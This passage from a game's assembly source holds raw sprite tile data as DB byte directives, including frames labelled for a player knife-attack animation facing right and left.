$00,$03,$00,$07,$00,$07,$00,$0F DB $00,$0F,$00,$1F,$00,$1F,$00,$3F DB $00,$00,$00,$00,$00,$F0,$00,$F8 DB $00,$F8,$00,$FC,$00,$FC,$04,$FC DB $0C,$FC,$0C,$FC,$04,$FC,$00,$FC DB $01,$FD,$03,$FB,$0E,$FE,$0C,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $70,$20,$3E,$20,$76,$40,$80,$80 DB $80,$80,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$3F,$00,$3F,$00,$3F DB $00,$3F,$00,$3F,$00,$3F,$00,$3F DB $00,$3F,$00,$3F,$00,$3F,$00,$1F DB $00,$07,$03,$03,$02,$02,$03,$03 DB $08,$F8,$00,$F8,$00,$F8,$00,$F0 DB $00,$F0,$00,$F8,$00,$F8,$00,$F8 DB $00,$F8,$00,$FC,$00,$FC,$20,$F8 DB $40,$C0,$40,$40,$20,$20,$80,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$03,$00,$03 DB $00,$03,$00,$07,$00,$07,$00,$07 DB $00,$07,$00,$0F,$00,$1F,$00,$7F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$F0,$00,$F8,$00,$FC,$00,$FC DB $0C,$FC,$0C,$FC,$1E,$FA,$1E,$FE DB $1C,$FC,$0C,$FC,$00,$FC,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$0F,$00,$0F,$00,$0F,$00,$0F DB $01,$0E,$00,$0F,$00,$07,$00,$03 DB $00,$03,$00,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$FF,$01,$FF,$5F,$BF,$70,$FF DB $C0,$3F,$C0,$3F,$C0,$3F,$C0,$3F DB $41,$BF,$01,$FF,$01,$FF,$03,$1F DB $07,$07,$0F,$0F,$18,$18,$1C,$1C DB $F8,$FC,$F8,$FC,$F8,$FF,$F8,$FF DB $F0,$FE,$F0,$FC,$F0,$F0,$F0,$F0 DB $FC,$FC,$FC,$FC,$FE,$FE,$8E,$8E DB $86,$86,$0C,$0C,$08,$08,$0E,$0E DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$03,$00,$03 DB $00,$03,$00,$07,$00,$07,$00,$07 DB $00,$07,$00,$0F,$00,$0F,$00,$1F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$F0,$00,$F8,$00,$FC,$00,$FC DB $0C,$FC,$0C,$FC,$1E,$FA,$1E,$FE DB $1C,$FC,$0C,$FC,$00,$FC,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$03 DB $00,$0F,$01,$0E,$00,$07,$00,$07 DB $00,$03,$00,$03,$00,$01,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$1F,$00,$3F,$01,$FF,$47,$BF DB $7C,$FF,$C0,$3F,$C0,$3F,$C0,$3F DB $C1,$3F,$41,$BF,$01,$FF,$03,$7F DB $07,$07,$0F,$0F,$18,$18,$1C,$1C DB $38,$FC,$78,$FC,$F8,$FC,$F8,$FC DB $F0,$FE,$F0,$FE,$F0,$FE,$F0,$F0 DB $FC,$FC,$FC,$FC,$FE,$FE,$8E,$8E DB $86,$86,$0C,$0C,$08,$08,$0E,$0E DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$03,$00,$03 DB $00,$03,$00,$07,$00,$07,$00,$07 DB $00,$07,$00,$0F,$00,$0F,$00,$1F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$F0,$00,$F8,$00,$FC,$00,$FC DB $0C,$FC,$0C,$FC,$1E,$FA,$1E,$FE DB $1C,$FC,$0C,$FC,$00,$FC,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$03,$00,$07 DB $00,$03,$00,$03,$00,$01,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$1F,$00,$3F,$01,$3F,$07,$7F DB $0C,$FF,$38,$DF,$60,$FF,$60,$9F DB $30,$CF,$30,$CF,$10,$EF,$01,$7F DB $07,$07,$0F,$0F,$18,$18,$1C,$1C DB $38,$F8,$78,$F8,$F8,$F8,$F8,$FC DB $F0,$FC,$F0,$FC,$F0,$FC,$F0,$FC DB $FC,$FC,$FC,$FC,$FE,$FE,$8E,$8E DB $86,$86,$0C,$0C,$08,$08,$0E,$0E DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$03 DB $00,$03,$00,$07,$00,$07,$00,$07 DB $00,$0F,$00,$0F,$00,$0F,$00,$0F DB $00,$1F,$00,$1F,$00,$1F,$00,$1F DB $00,$00,$00,$00,$00,$00,$00,$E0 DB $00,$F0,$00,$F8,$00,$F8,$18,$F8 DB $18,$F8,$3C,$F4,$3C,$FC,$38,$F8 DB $18,$F8,$00,$F8,$00,$F0,$00,$F0 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$1F,$00,$1F,$00,$3F,$00,$3F DB $01,$7F,$06,$7F,$0C,$FF,$08,$FF DB $38,$DF,$38,$E7,$18,$E7,$0C,$73 DB $07,$07,$07,$07,$06,$06,$06,$06 DB $18,$F8,$38,$F8,$78,$F8,$F0,$F8 DB $F0,$F8,$F0,$F8,$F0,$FC,$78,$FC DB $78,$F8,$7C,$FC,$4C,$CC,$0C,$CC DB $0C,$0C,$0C,$0C,$08,$08,$0E,$0E DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 r3_SpritePlayerKnifeAttackRightEnd:: r3_SpritePlayerKnifeAttackLeft:: DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$07,$00,$0F DB $00,$1F,$00,$1F,$18,$1F,$18,$1F DB $3C,$2F,$3C,$3F,$1C,$1F,$18,$1F DB $00,$07,$00,$0F,$00,$0F,$00,$0F DB $00,$00,$00,$00,$00,$C0,$00,$C0 DB $00,$E0,$00,$E0,$00,$E0,$00,$F0 DB $00,$F0,$00,$F0,$00,$F0,$00,$F8 DB $00,$F8,$00,$F8,$00,$FC,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$1F,$00,$3F,$00,$3F,$00,$3F DB $00,$3F,$00,$3F,$00,$3F,$00,$3F DB $00,$3F,$00,$3F,$00,$1F,$0E,$0E DB $06,$06,$03,$03,$01,$01,$00,$00 DB $00,$FC,$00,$FE,$00,$FE,$00,$FE DB $00,$FE,$00,$FE,$00,$FE,$00,$FE DB $00,$FE,$00,$FC,$00,$F0,$E0,$E0 DB $60,$60,$60,$60,$20,$20,$40,$40 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$07 DB $00,$0F,$00,$1F,$00,$1F,$10,$1F DB $1C,$1F,$1E,$17,$1E,$1F,$1C,$1F DB $08,$0F,$00,$0F,$00,$1F,$00,$1F DB $00,$00,$00,$00,$00,$00,$00,$C0 DB $00,$C0,$00,$E0,$00,$E0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F0,$00,$F0 DB $00,$F8,$00,$F8,$00,$F8,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $30,$3F,$78,$7F,$78,$7F,$38,$3F DB $38,$3F,$18,$1F,$18,$1F,$08,$0F DB $18,$1F,$38,$3F,$78,$7F,$74,$77 DB $38,$38,$18,$18,$08,$08,$00,$00 DB $00,$FC,$00,$FC,$00,$FE,$00,$FE DB $00,$FE,$00,$FE,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FC,$00,$F0 DB $E0,$E0,$60,$60,$30,$30,$70,$70 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$0F,$00,$1F,$00,$3F DB $00,$3F,$20,$3F,$38,$3F,$3C,$2F DB $3C,$3F,$38,$3F,$10,$1F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$80,$00,$80,$00,$C0 DB $00,$C0,$00,$C0,$00,$C0,$00,$C0 DB $00,$E0,$03,$F3,$3C,$FC,$F0,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$80,$00 DB $C0,$C3,$E0,$1E,$C0,$3E,$C0,$3C DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $03,$1F,$0F,$1F,$0F,$1F,$0F,$3F DB $0F,$7F,$07,$FF,$03,$7F,$03,$03 DB $0F,$0F,$0F,$0F,$1F,$1F,$1F,$1F DB $18,$18,$18,$18,$04,$04,$1C,$1C DB $C0,$FF,$80,$FF,$00,$FF,$80,$FF DB $C0,$FF,$E0,$FF,$F0,$F7,$F0,$F3 DB $F0,$F1,$F0,$F0,$E0,$E0,$F0,$F0 DB $FC,$FC,$3E,$3E,$03,$03,$07,$07 DB $C0,$3C,$80,$78,$00,$F8,$00,$F0 DB $00,$F0,$00,$E0,$00,$E0,$00,$C0 DB $00,$80,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$0F,$00,$1F,$00,$3F DB $00,$3F,$20,$3F,$38,$3F,$3C,$2F DB $3C,$3F,$38,$3F,$10,$1F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$80,$00,$80,$00,$C0 DB $00,$C0,$00,$C0,$00,$C0,$00,$C0 DB $00,$E0,$03,$F3,$3C,$FC,$F0,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $80,$00,$C0,$C0,$E0,$00,$C0,$3C DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $03,$1F,$0F,$1F,$0F,$3F,$0F,$3F DB $0F,$7F,$07,$7F,$03,$FF,$03,$7F DB $0F,$0F,$0F,$0F,$1F,$1F,$1F,$1F DB $18,$18,$18,$18,$04,$04,$1C,$1C DB $C0,$FF,$80,$FF,$00,$FF,$80,$FF DB $80,$FF,$80,$FF,$C0,$FF,$E0,$FF DB $F0,$FF,$F0,$F7,$E0,$E0,$F8,$F8 DB $FC,$FC,$3E,$3E,$03,$03,$07,$07 DB $C0,$3C,$80,$78,$00,$F8,$00,$F0 DB $00,$F0,$00,$E0,$00,$E0,$00,$C0 DB $00,$80,$00,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$0F,$00,$1F,$00,$3F DB $00,$3F,$20,$3F,$38,$3F,$3C,$2F DB $3C,$3F,$38,$3F,$10,$1F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$80,$00,$80,$00,$C0 DB $00,$C0,$00,$C0,$00,$C0,$00,$C0 DB $00,$E0,$00,$F0,$01,$F1,$07,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$80,$00 DB $C0,$00,$E0,$00,$C0,$C0,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $03,$1F,$0F,$1F,$0F,$1F,$0F,$1F DB $0F,$1F,$07,$3F,$03,$3F,$03,$3F DB $0F,$3F,$0F,$0F,$1F,$1F,$1F,$1F DB $18,$18,$18,$18,$04,$04,$1C,$1C DB $FC,$FC,$E0,$FC,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$80,$FF,$C0,$FE,$F8,$F8 DB $FC,$FC,$3E,$3E,$03,$03,$07,$07 DB $00,$00,$00,$00,$00,$00,$00,$C0 DB $00,$F0,$00,$E0,$00,$E0,$00,$C0 DB $00,$80,$00,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$0F,$00,$1F,$00,$3F DB $00,$3F,$20,$3F,$30,$3F,$70,$5F DB $78,$7F,$38,$3F,$30,$3F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$80,$00,$80,$00,$C0 DB $00,$C0,$00,$C0,$00,$C0,$00,$C0 DB $00,$E0,$00,$E0,$00,$F0,$00,$F0 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $02,$1F,$0F,$1F,$0F,$1F,$0F,$0F DB $0F,$0F,$07,$0F,$03,$1F,$03,$1F DB $0F,$1F,$0F,$1F,$1F,$1F,$1F,$1F DB $18,$18,$18,$18,$04,$04,$1C,$1C DB $00,$F0,$80,$F8,$E0,$FC,$79,$FE DB $3D,$FE,$07,$FF,$01,$FE,$00,$FF DB $00,$FF,$80,$FF,$C0,$FF,$C0,$FF DB $FC,$FC,$3E,$3E,$03,$03,$07,$07 DB $00,$00,$00,$00,$80,$00,$80,$00 DB $80,$00,$80,$00,$00,$C0,$00,$C0 DB $00,$80,$00,$80,$00,$80,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$1E DB $00,$3F,$00,$3F,$00,$7F,$00,$7F DB $40,$7F,$60,$7F,$60,$7F,$40,$7F DB $00,$7F,$00,$7F,$00,$3F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$80,$00,$C0,$00,$C0 DB $00,$E0,$00,$E0,$00,$F0,$00,$F0 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $1F,$3F,$1F,$1F,$1F,$1F,$0F,$1F DB $07,$3F,$07,$3F,$0F,$3F,$1F,$3B DB $1F,$33,$0F,$3B,$1F,$1F,$0F,$0F DB $0E,$0E,$02,$02,$06,$06,$06,$06 DB $00,$F8,$00,$F8,$00,$FC,$00,$FC DB $00,$FE,$00,$FE,$80,$FF,$80,$FF DB $80,$FF,$C0,$FF,$C0,$FC,$C0,$C0 DB $C0,$C0,$60,$60,$30,$30,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $04,$00,$3E,$02,$7F,$02,$02,$02 DB $02,$02,$03,$03,$01,$01,$01,$01 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$1E,$00,$3F,$00,$7F DB $00,$7F,$40,$7F,$40,$7F,$40,$7F DB $40,$7F,$00,$7F,$00,$7F,$80,$FF DB $C0,$FF,$60,$7F,$20,$FF,$20,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$80,$00,$80,$00,$80 DB $00,$C0,$00,$C0,$00,$E0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F8,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$07,$00,$07,$00,$03 DB $00,$03,$00,$03,$00,$03,$00,$03 DB $00,$03,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$7F,$00,$3F,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$7F,$00,$7F,$08,$7F DB $08,$0B,$10,$10,$00,$00,$03,$03 DB $00,$F8,$00,$F8,$00,$F8,$00,$F8 DB $00,$F8,$00,$F8,$00,$F8,$00,$F8 DB $00,$F0,$00,$F0,$00,$F0,$00,$E0 DB $80,$80,$80,$80,$80,$80,$80,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $02,$00,$1F,$01,$3F,$01,$01,$01 DB $01,$01,$01,$01,$01,$01,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$1E,$00,$3F,$00,$3F DB $00,$7F,$00,$7F,$40,$7F,$40,$7F DB $40,$7F,$00,$7F,$80,$FF,$80,$FF DB $C0,$FF,$60,$7F,$20,$3F,$20,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$80,$00,$80,$00,$80 DB $00,$C0,$00,$C0,$00,$E0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F8,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$03,$00,$03,$00,$03,$00,$01 DB $00,$01,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$3F,$00,$7F,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$7F,$08,$1F DB $08,$0B,$10,$10,$00,$00,$03,$03 DB $00,$F8,$00,$F8,$00,$F8,$00,$F8 DB $00,$F8,$00,$F8,$00,$F8,$00,$F8 DB $00,$F0,$00,$F0,$00,$F0,$00,$F0 DB $80,$80,$80,$80,$80,$80,$80,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$01,$01,$3F,$01,$1F,$01 DB $03,$01,$01,$01,$01,$01,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$1E,$00,$3F,$00,$3F DB $00,$7F,$00,$7F,$40,$7F,$40,$7F DB $40,$7F,$00,$7F,$80,$FF,$80,$FF DB $C0,$FF,$60,$7F,$20,$3F,$20,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$80,$00,$80,$00,$80 DB $00,$C0,$00,$C0,$00,$E0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F8,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$3F,$00,$3F,$00,$3F DB $00,$7F,$00,$7F,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$08,$3F DB $08,$0B,$10,$10,$00,$00,$03,$03 DB $00,$F8,$00,$F8,$00,$F8,$00,$F8 DB $00,$F8,$00,$F8,$00,$F8,$00,$F8 DB $00,$F8,$00,$F8,$00,$F8,$00,$F0 DB $80,$80,$80,$80,$80,$80,$80,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $0E,$04,$7C,$04,$6E,$02,$01,$01 DB $01,$01,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$0F,$00,$1F DB $00,$1F,$00,$3F,$00,$3F,$20,$3F DB $30,$3F,$30,$3F,$20,$3F,$00,$3F DB $80,$BF,$C0,$DF,$70,$7F,$30,$3F DB $00,$00,$00,$00,$00,$00,$00,$80 DB $00,$80,$00,$80,$00,$C0,$00,$C0 DB $00,$C0,$00,$E0,$00,$E0,$00,$F0 DB $00,$F0,$00,$F8,$00,$F8,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $10,$1F,$00,$1F,$00,$1F,$00,$0F DB $00,$0F,$00,$1F,$00,$1F,$00,$1F DB $00,$1F,$00,$3F,$00,$3F,$04,$1F DB $02,$03,$02,$02,$04,$04,$01,$01 DB $00,$FC,$00,$FC,$00,$FC,$00,$FC DB $00,$FC,$00,$FC,$00,$FC,$00,$FC DB $00,$FC,$00,$FC,$00,$FC,$00,$F8 DB $00,$E0,$C0,$C0,$40,$40,$C0,$C0 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$0F,$00,$1F,$00,$3F,$00,$3F DB $30,$3F,$30,$3F,$78,$5F,$78,$7F DB $38,$3F,$30,$3F,$00,$3F,$00,$1F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$80,$00,$C0,$00,$C0 DB $00,$C0,$00,$E0,$00,$E0,$00,$E0 DB $00,$E0,$00,$F0,$00,$F8,$00,$FE DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $1F,$3F,$1F,$3F,$1F,$FF,$1F,$FF DB $0F,$7F,$0F,$3F,$0F,$0F,$0F,$0F DB $3F,$3F,$3F,$3F,$7F,$7F,$71,$71 DB $61,$61,$30,$30,$10,$10,$70,$70 DB $00,$FF,$80,$FF,$FA,$FD,$0E,$FF DB $03,$FC,$03,$FC,$03,$FC,$03,$FC DB $82,$FD,$80,$FF,$80,$FF,$C0,$F8 DB $E0,$E0,$F0,$F0,$18,$18,$38,$38 DB $00,$F0,$00,$F0,$00,$F0,$00,$F0 DB $80,$70,$00,$F0,$00,$E0,$00,$C0 DB $00,$C0,$00,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB 